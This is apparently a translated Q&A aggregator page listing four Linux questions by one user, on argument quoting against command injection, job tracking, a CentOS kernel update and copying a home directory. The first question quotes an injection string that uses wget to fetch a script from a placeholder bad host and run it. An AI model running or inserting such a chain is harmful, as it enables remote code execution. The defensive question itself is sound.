小编Vic*_*sky的帖子

如何通过命令选项防止命令注入?

我有一个包装应用程序,我需要让用户指定自定义选项以传递给模拟器。但是,我想确保用户不会通过用户选项注入其他命令。实现这一目标的最佳方法是什么?

例如。

  • 用户提供: -a -b
  • 应用程序执行: mysim --preset_opt -a -b

但是,我不希望这种情况发生:

  • 用户提供: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • 应用程序执行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

目前,我认为我可以简单地用单引号将每个用户提供的选项括起来'并去掉任何用户提供的单引号,这样最后一个示例中的命令就会变成无害的:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

注意:该mysim命令作为 docker/lxc 容器中的 shell 脚本的一部分执行。我正在运行 Ubuntu。

shell security bash quoting arguments

13
推荐指数
1
解决办法
2万
查看次数

作业/流程跟踪和多任务处理的最佳实践

我从 10 多个不同的目录运行 10 多个不同的命令,我需要一个更好的过程来跟踪所有内容。

我进行了大量调试,而且经常需要并行处理多个问题。我有很多需要 30-240 分钟才能运行的脚本,例如:

  • 创建工作区
  • 编译代码
  • 运行代码以重现调试信息问题
  • 经营资格

我发现自己在问以下问题:

  • 什么在运行?
  • 为什么它在运行?当我开始编写脚本时,我想完成什么?
  • 什么完成了运行,何时完成?退出代码是什么(通过/失败)?

目前我在一个文本文件中记录了我在每个目录中所做的事情,并手动检查终端或日志文件以获取所有内容的运行状态。似乎应该有更好的方法。

process process-management

6
推荐指数
1
解决办法
1755
查看次数

如何将 CentOS 6.5 更新到内核 2.6.32-431?

我需要将我的 CentOS 6.5 内核更新为2.6.32-431. 跑步yum clean all && yum update不适合我。

如何更新?可能是什么问题?

[root@centos64 ~]# uname -r
2.6.32-358.18.1.el6.x86_64
[root@centos64 ~]# cat /etc/redhat-release
CentOS release 6.5 (Final)
[root@centos64 ~]# yum clean all && yum update
Loaded plugins: fastestmirror
Cleaning repos: base epel extras updates
Cleaning up Everything
Cleaning up list of fastest mirrors
Loaded plugins: fastestmirror
Determining fastest mirrors
epel/metalink                                                                                                                       | 8.1 kB     00:00
 * base: centosz3.centos.org
 * epel: fedora.mirror.nexicom.net
 * extras: mirror.linux.duke.edu
 * updates: centosb5.centos.org
base                                                                                                                                | 3.7 …
Run Code Online (Sandbox Code Playgroud)

yum centos linux-kernel

5
推荐指数
1
解决办法
3万
查看次数

如何在home目录下复制home目录?

我需要复制我的主目录并将该副本放在同一个主目录中。命令的退出代码必须是0. 目前,我的主目录不包含任何其他目录。

有没有比以下更好的方法?(pwd 是主目录)

mkdir /tmp/temp && cp * /tmp/temp && mv /tmp/temp .
Run Code Online (Sandbox Code Playgroud)

file-copy home

1
推荐指数
1
解决办法
1017
查看次数